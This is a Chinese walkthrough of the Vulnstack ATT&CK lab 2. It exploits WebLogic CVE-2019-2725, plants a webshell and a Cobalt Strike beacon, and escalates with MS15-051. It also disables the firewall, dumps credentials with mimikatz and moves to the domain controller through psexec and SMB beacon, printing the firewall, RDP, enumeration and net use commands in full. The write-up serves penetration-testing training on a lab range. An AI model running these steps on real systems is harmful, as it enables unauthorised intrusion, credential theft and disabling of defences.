赞
踩
红日靶场(二),本文涉及知识点有:环境搭建,nmap使用,weblogic反序列化漏洞利用,内网信息收集,防火墙相关,MS15-051和MS14-058提权,mimikatz抓取密码和凭证,fscan使用,SMB beacon横向移动相关,psexec横向移动相关,cobaltstrike的使用等。说明:主要是巩固下内网和cs的使用,web部分不会很详细。ATT&CK靶场(二)下载地址为:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
1)文件下载下来解压后有三个文件夹,双击各个文件夹中的.vmx文件即可一键创建虚拟机,除了web靶机初始密码都为1qaz@WSX,WEB靶机需切换用户,用administrator管理员账号登录,没有密码,点击登录会提示更改密码,为了方便也设置成了1qaz@WSX,之后会重启然后用我们设置的密码登录即可,或者恢复成快照1.3直接使用密码也能登陆成功。
2)官方给的拓扑图和配置信息如下所示,靶机已经配置好网卡了,就不需要在添加网卡了。
3)为了跟靶机ip对应我们先配置一下虚拟机的网卡ip,点击编辑打开虚拟网络编辑器,变更子网ip,在配置NAT和DHCP。
4)然后我们登陆web的靶机,因为此环境的weblogic需要手动打开,win+e快捷键打开计算机进入:C:\Oracle\Middleware\user_projects\domains\base_domain\bin,找到startWeblogic,双击开启,然后就可以开始了。
5)最终虚拟机配置和IP配置如下所示。
虚拟机名称 | ip |
---|---|
kali | 网卡1(NAT):192.168.111.10 |
WEB | 网卡1(NAT):192.168.111.80 / 网卡2(仅主机):10.10.10.80 |
PC | 网卡1(NAT):192.168.111.201 / 网卡2(仅主机):10.10.10.201 |
DC | 网卡1(仅主机):10.10.10.10 |
1)namp使用ICMP协议做C段主机存活探测,发现192.168.111.80和192.168.111.201的地址。
2)分别对192.168.111.80和192.168.111.201主机扫描端口。
nmap -T4 -p- 192.168.111.80
nmap -T4 -p- 192.168.111.201
3)发现192.168.111.80 存在7001端口,使用weblogic扫描工具检测下,看是否存在weblogic漏洞,可以看到存在非常多的历史漏洞。工具下载地址:https://github.com/0xn0ne/weblogicScanner。
4)在物理机上利用Liqun工具,直接利用CVE-2019-2725反序列化漏洞,该漏洞由wls9-async组件造成的,该组件默认开启。直接使用漏洞利用工具,发现命令成功回显。
5)直接利用文件上传功能,上传冰蝎的webshell,可以看到成功返回地址。
6)使用冰蝎连接,成功执行命令。
1)简单判断下是否存在域。发现存在域,并且双网卡。
ipconfig /all
systeminfo
2)使用kali本地开启cs服务,本地连接。
3)使用cs生成木马,然后使用冰蝎上传至靶机上并执行命令。
4)发现成功上线。
5)查看防火墙状态,发现防火墙开启,我们要关闭防火墙,关闭防火墙需要管理员权限,所以需要提权。
# windows server 2003及以下版本:
netsh firewall show config
# window server 2003以上版本:
netsh advfirewall show allprofiles state
6)使用cs中的梼杌插件提权模块中的MS15-051提权漏洞,成功变为system权限。MS14-058也可以。
7)关闭防火墙,关闭和开启防火墙的命令如下所示。
Windows server 2003及之前版本:
netsh firewall set opmode disable #关闭
netsh firewall set opmode enable #开启
Windows server 2003之后版本:
netsh advfirewall set allprofiles state off #关闭
netsh advfirewall set allprofiles state on #开启
8)然后在做详细的信息收集。查看下版本信息以及补丁信息,发现主机是2008R2的,双网卡只打了三个补丁。
systeminfo
9)查看当前登录域及登录用户信息,可以发现存在域,不存在域环境为 WORKGROUP。
net config workstation
10)使用梼杌插件的获取杀软功能,发现存在360卫士。
11)查看当前域内机器和域控。发现当前域成员有两台机器PC和WEB,WEB为当前获取权限的机器,域控为DC。ping域控名DC可知当前域控ip为10.10.10.10,另一台域成员机的IP为10.10.10.201。
net group "domain computers" /domain #查看当前域内机器
net group "domain controllers" /domain #查看域控
net group "domain admins" /domain #查看域管理员用户
12)使用hashdump获取凭证信息之后可以PTH横向移动,在使用mimikatz抓一下密码,成功抓取到WEB机器的密码,可以尝试碰撞其他主机。
13)查询进程信息,可以了解是否存在杀毒软件、是否存在域管进程等信息。还可以查询启动程序信息,端口信息,计划任务,查询本机用户列表,本机用户组与管理员组成员列表,当前在线用户等等信息。
whoami /all #获取域 SID
tasklist /svc #查看进程列表
wmic process list brief #查看进程列表
wmic startup get command,caption #查询启动程序信息
schtasks /query /fo LIST /v #查询计划任务
net user #查询本机用户列表
net user /domain #查询域内用户
net localgroup #查询本机用户组成员列表
net localgruop administrators #查询本机管理员组成员列表
query user || qwinsta #查询当前在线用户
net share #查询本机共享列表
route print #查询路由信息
arp -a #查询arp缓存表
# 查询 RDP 端口 0xd3d 即为 3389 端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
1)使用梼杌上传fscan。
2)扫描域成员PC和域控DC的端口,域成员PC和域控DC都存在MS17-010漏洞。这里可以尝试利用MS17-010获取shell。还发现两个主机都开启了445端口,并且我们之前也抓取到了管理员的账号密码,这里可以尝试利用SMB beacon横向移动,因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。相当于在msf里面使用永恒之蓝获取shell。
3)SMB beacon横向移动,先用spawn派生出来一个会话,在已有的 Beacon 上右键点击 Spawn(生成会话 / 派生),选择name为ceshi的payload,然后点击choose,会反弹一个子会话,在 external 的 ip 后面会有一个∞∞样式的小图标。
4)在listeners创建一个payload为 Beacon SMB的监听,然后保存。
5)然后我们回到这个新派生出来的会话上,右键点击interact,在beacon里输入以下命令,发现域控和域成员均利用失败。
# 创建连接,admin$可以理解为共享了主机的控制权,账号密码为我们之前抓取的。
shell net use \\10.10.10.10\admin$ /user:"administrator" "123456.com"
ls \\10.10.10.10\c$ #查看连接是否建立成功
jump psexec64 10.10.10.10 smb # 建立smb beacon连接,最后的smb是我的smb listener 的名字。
net use \\IP地址\admin$ /delete #删除链接
6)换个思路,利用psexec横向移动,现在我们拥有的凭证如下所示:
7)使用make_token 模拟管理员用户。
8)进行端口扫描,主要是想cs的Targets中记录一下存活主机,之前利用梼杌插件中的fscan扫描主机,cs的Targets中是没有记录的。
9)通过端口扫描在 View->Targets中可以看到存活的主机。
10)在目标主机图表上右击,jump–>psexec64或者psexec,选择管理员账号,在填写上listener和session信息,直接选择launch发动,成功获取域控权限。
11)同理也成功获取域成员PC的权限。
1)修改防火墙规则
Windows server 2003及以下版本,允许指定端口、程序连接:
netsh firewall add portopening tcp 4444 test #指定端口
netsh firewall add allowedprogram c:\a.exe test enable #指定程序
Windows server 2003之后版本,允许指定端口、程序进站、出站:
# 允许4444端口进站
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=4444
# 允许a.exe进站
netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\a.exe
# 允许4444端口出站
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=4444
# 允许a.exe出站
netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\a.exe
允许 4444 端口连接
2)查询RDP是否开启和开启关闭 3389 端口的命令。
# 查询 RDP 端口 0xd3d 即为 3389 端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp" /V PortNumber
开启关闭 3389 端口(注:需要管理员权限)
Windows server 2003:
# 开启
wmic path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 1
# 关闭
wmic path win32_terminalservicesetting where(__CLASS !="") call setallowtsconnections 0
# 通用开启
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 通用关闭
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
3)CS 中的几种提权操作:
4)cobaltstrike中的 spawn 功能,中文意思是“产卵”,它的功能就是可以派生出更多的Beacon 让一个团队分布式渗入。通常我们在团队主服务器上给队友来派生Beacon 这样只要主服务器权限不掉,还能继续操作。尽量派生出多个Beacon,让我们的操作都在子Beacon。
5)SMB Beacon 使用场景总结。
当前已拿到了目标内网中的一台机器的 beacon shell,然后又通过其它方式搞到了同内网下的另一台 windows 机器的本地 administrator 密码且这台机器的 SMB[445 端口]能正常通。不幸的是、由于各种各样的原因限制,那台 windows 机器并不能正常访问外网,也就是说没法再正常的反弹 beacon shell 了,那么其他那些反向监听器也就全都用不上了,而我现在就想通过当前仅有的这个 beacon shell 把内网那台不能正常访问外网的机器也一块给带出来,就可以用到SMB Beacon。
6)smb beacon横向移动的使用条件:
7)psexec横向移动的条件
8)psexec相关知识
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。